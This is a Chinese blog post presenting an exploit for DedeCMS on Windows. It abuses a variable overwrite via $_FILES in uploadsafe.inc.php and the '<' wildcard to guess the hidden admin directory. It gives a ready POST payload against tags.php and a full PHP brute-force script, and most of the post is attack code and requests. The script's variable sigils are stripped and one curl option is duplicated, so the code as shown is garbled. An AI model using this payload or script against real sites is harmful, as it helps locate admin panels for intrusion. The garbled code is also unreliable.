解决DEDECMS历史难题–找后台目录

2019/11/12 20:06 · 笔记 · 原创文章 · 1,452 · 1

利用限制

  • 仅针对windows系统

进入正题

首先看核心文件common.inc.php 大概148行左右

if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}

uploadsafe.inc.php


注意 _$$_key 这一句,变量 $key 取自于 $_FILE ,由于 $_FILE 可控自然 $key 也可控,此处理论上是可以覆盖任意变量,但是前面有个正则判断不能出现 cfg_|GLOBALS 。(但是应该还可以覆盖其他变量此处感觉还可以深挖)

本人出发点是找个可以利用 << 通配符猜解后台目录,所以只要 $$_key 参数可控就可以达到目的。

但在这之前有个 if(!defined('DEDEADMIN')) 的判断,这个很好绕过设置 tmp_name为0或者1.jpg含.  就可以绕过。

最后关键的一点就是要让文件存在还和不存在返回不同的内容就要控制type参数了。

当目录文件存在的时候 返回正常页面。当不存在的时候返回:Upload filetype not allow !

举个例子

文字不好表达,便于理解。

<?php
// ./dedecms/favicon.ico
if(@getimagesize($_GET['poc'])){
    echo 1;
}else {
    echo 0;
}
?>
get:
http://localhost/test.php?poc=./d</favicon.ico
返回:1

http://localhost/test.php?poc=./a</favicon.ico
返回:0

http://localhost/test.php?poc=./de</favicon.ico
返回:1

http://localhost/test.php?poc=./ded</favicon.ico
返回:1

........

构造poc

http://localhost/dedecms/tags.php

post:

dopost=save&_FILES[b4dboy][tmp_name]=./de</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif

Common.inc.php 是被全局包含的文件,只要文件php文件包含了Common.inc.php都可以进行测试,以tags.php文件为例

当目录存在点时候: 图1

20180123000649-4080b60c-ff8e-1.png

当目录不存在点时候: 图2

20180123000533-133714d4-ff8e-1.png

EXP:

<?php
domain='http://localhost/dedecms/';url=domain.'/index.php';
function post(url, data, cookie = '') {
    options = array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HEADER => true,
        CURLOPT_POST => true,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_COOKIE => cookie,
        CURLOPT_POSTFIELDS => data,
    );
    ch = curl_init(url);
    curl_setopt_array(ch, options);
    result = curl_exec(ch);
    curl_close(ch);
    return result;
}testlen=25;
str=range('a','z');number=range(0,9,1);
dic = array_merge(str, number);n=true;
nn=true;path='';
while(n){
    foreach(dic as v){
        foreach(dic as vv){
            #echo v.vv .'----';
            post_data="dopost=save&_FILES[b4dboy][tmp_name]=./vvv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
            result=post(url,post_data);
            if(strpos(result,'Upload filetype not allow !') === false){
                path=v.vv;n=false;break 2;
            }
        }
    }
}
while(nn){
    foreach(dic as vvv){
        post_data="dopost=save&_FILES[b4dboy][tmp_name]=./pathvvv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
        result=post(url,post_data);
        if(strpos(result,'Upload filetype not allow !') === false){
            path.=vvv;
            echo path . PHP_EOL;
            giturl=domain.'/'.path.'/images/admin_top_logo.gif';
            if(@file_get_contents(giturl)){
                echo domain.'/'.path.'/';
                nn=false;break 2;
            }
        }
    }
}
?>

20180123000746-62cc9f96-ff8e-1.png

感谢

感谢给我提供这个思路的朋友

您可能感兴趣的文章

本文地址:http://www.ouyangxiaoze.com/2019/11/492.html
文章标签:
版权声明:本文为原创文章,版权归  脉搏文库 所有,欢迎分享本文,转载请保留出处!

文件下载

上一篇:
下一篇:

 发表评论


表情

  1. 老白
    老白 @回复

    [赞] [赞] [赞] [赞]